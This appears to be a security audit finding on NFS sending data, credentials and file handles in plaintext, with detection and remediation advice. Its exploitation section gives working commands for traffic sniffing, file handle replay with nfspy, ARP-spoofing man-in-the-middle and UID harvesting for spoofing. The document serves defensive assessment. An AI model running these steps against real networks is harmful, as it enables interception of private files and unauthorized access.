Skip to content

F-3.1: Plaintext Wire Protocol — Sniffing and MITM

Classification

  • Severity: Info
  • CVSS Vector: Adjacent Network / Low Complexity / No Auth Required
  • Affected Versions: NFSv2, NFSv3, NFSv4 without krb5p
  • RFC Reference: RFC 1813 (no encryption mandate)
  • Prerequisite: Network position to intercept traffic (ARP spoofing, switch SPAN, compromised router)

Summary

NFSv3 transmits all data in plaintext over the wire, including file contents, file metadata (UIDs, GIDs, permissions), directory listings, and authentication credentials (AUTH_SYS UID/GID). An attacker with network visibility can passively capture sensitive data, extract valid file handles for replay attacks, and gather the intelligence needed to mount active attacks against the NFS infrastructure.

Technical detail

What's visible on the wire

Data Type RPC Operation Exploitable Information
File contents READ/WRITE Actual file data in cleartext
Credentials All calls UID, GID, hostname of every request
File handles MOUNT reply, LOOKUP, CREATE Persistent opaque tokens for file access
Directory trees READDIRPLUS Full directory listing with metadata
File metadata GETATTR Permissions, ownership, sizes, timestamps
Export paths MOUNT request Server directory structure
Client IPs All traffic Which machines access which exports
Symlink targets READLINK Internal path information
Lock state NLM Which files are actively used

Protocol ports (attack surface)

NFSv3 uses multiple services, each on separate ports:

Service Default Port Information Exposed
Portmapper (rpcbind) 111/tcp,udp All RPC service ports
mountd Dynamic (often 892) Export list, access rules, file handles
nfsd 2049/tcp,udp File operations, data, handles
NLM (lockd) Dynamic Lock state, active file usage
NSM (statd) Dynamic Client crash/recovery notifications
rquotad Dynamic Quota information

Packet capture analysis

A single MOUNT + READDIRPLUS exchange reveals:

MOUNT Call: client=192.168.1.50 -> server=192.168.1.10
  Export: /home/engineering
  Auth: AUTH_UNIX uid=0 gid=0 hostname="workstation-42"

MOUNT Reply:
  File Handle: 0x0100070065ac0a000000000019548b48...
  Auth flavors: [AUTH_SYS]

READDIRPLUS Reply:
  Entry: "alice"   uid=1001 gid=1001 mode=0700 type=DIR
  Entry: "bob"     uid=1002 gid=1002 mode=0700 type=DIR
  Entry: "charlie" uid=1003 gid=1003 mode=0750 type=DIR
  Entry: "shared"  uid=0    gid=100  mode=0775 type=DIR

From this single exchange, an attacker knows: - The export path and file handle (can be replayed) - All usernames and their UIDs (for UID spoofing) - Directory permissions (to identify accessible targets) - That AUTH_SYS is the only auth flavor (no Kerberos)

Exploitation

Method 1: Passive sniffing with tshark

# Capture NFS file handles
tshark -n -i eth0 -T fields \
    -e ip.src -e ip.dst \
    -e rpc.auth.uid -e rpc.auth.gid \
    -e nfs.fhandle \
    -Y "nfs"

# Capture file READ data
tshark -n -i eth0 -T fields \
    -e nfs.name -e nfs.read.data \
    -Y "nfs.opcode == 6"  # READ procedure

# Extract mount information
tshark -n -i eth0 -T fields \
    -e mount.path -e mount.fhandle \
    -Y "mount"

Method 2: Reconstruct files from captures

# Capture full NFS traffic
tcpdump -i eth0 -w nfs_capture.pcap port 2049

# Extract file data using scapy or custom parser
python3 extract_nfs_files.py nfs_capture.pcap --output /tmp/recovered/

Method 3: File handle replay

# Sniff a file handle from wire traffic
tshark -n -i eth0 -T fields -e nfs.fhandle -Y "nfs" | head -1
# Output: 01:00:07:00:65:ac:0a:00:...

# Use the sniffed handle directly with NfSpy (bypasses mountd entirely)
nfspy -o server=target:,nfsport=2049/tcp,\
dirhandle=01:00:07:00:65:ac:0a:00:...,getroot /mnt

# Or use fuse_nfs
fuse_nfs /mnt/replay target --manual-fh 0100070065ac0a00... --fake-uid

Method 4: ARP spoofing + NFS interception

# Position as MITM between NFS client and server
arpspoof -i eth0 -t 192.168.1.50 192.168.1.10  # spoof server to client
arpspoof -i eth0 -t 192.168.1.10 192.168.1.50  # spoof client to server

# Forward traffic while capturing
echo 1 > /proc/sys/net/ipv4/ip_forward
tcpdump -i eth0 -w nfs_mitm.pcap "port 2049 or port 111"

# Could also modify traffic in transit (inject writes, alter reads)

Method 5: Intelligence gathering for targeted attacks

# From a single capture, extract everything needed for UID spoofing:
tshark -r capture.pcap -T fields \
    -e rpc.auth.uid -e rpc.auth.gid -e rpc.auth.machinename \
    -Y "rpc.auth.flavor == 1" | sort -u

# Output:
# 0     0     nfs-server
# 1000  1000  dev-workstation
# 1001  1001  alice-laptop
# 1002  100   bob-desktop

# Now spoof as any of these users

Impact

  • Complete data exposure: All file contents readable by network observers
  • Credential harvesting: UIDs, GIDs, hostnames for spoofing attacks
  • File handle theft: Captured handles enable direct file access without mount
  • Topology mapping: Client-server relationships, export paths, user assignments
  • Active MITM: Modify file contents in transit (inject backdoors, alter configs)
  • Lateral movement intel: Discover which users access which systems

Detection

  • Detect ARP spoofing with tools like arpwatch or switch port security
  • Network IDS can flag unexpected NFS traffic patterns
  • Encrypted NFS (krb5p) traffic is distinguishable from plaintext — alert on unencrypted NFS

Remediation

  1. Use krb5p (privacy): Encrypts all NFS traffic including file data

    /srv/share  client(rw,sec=krb5p)
    

  2. Network segmentation: Isolate NFS traffic to dedicated VLANs with no untrusted hosts

  3. IPsec tunnels: Encrypt NFS traffic at the network layer when Kerberos isn't feasible

    # Between NFS client and server
    ip xfrm state add ... enc "aes" 0x<key> ...
    

  4. NFSv4 with RPC-over-TLS (RFC 9289): Experimental but provides transport encryption without Kerberos complexity

  5. Switch hardening: Disable port mirroring, enable port security, use 802.1X

  6. For NFSv3: At minimum use a VPN or SSH tunnel for cross-network NFS traffic:

    ssh -L 2049:nfs-server:2049 gateway
    mount -t nfs -o port=2049 localhost:/export /mnt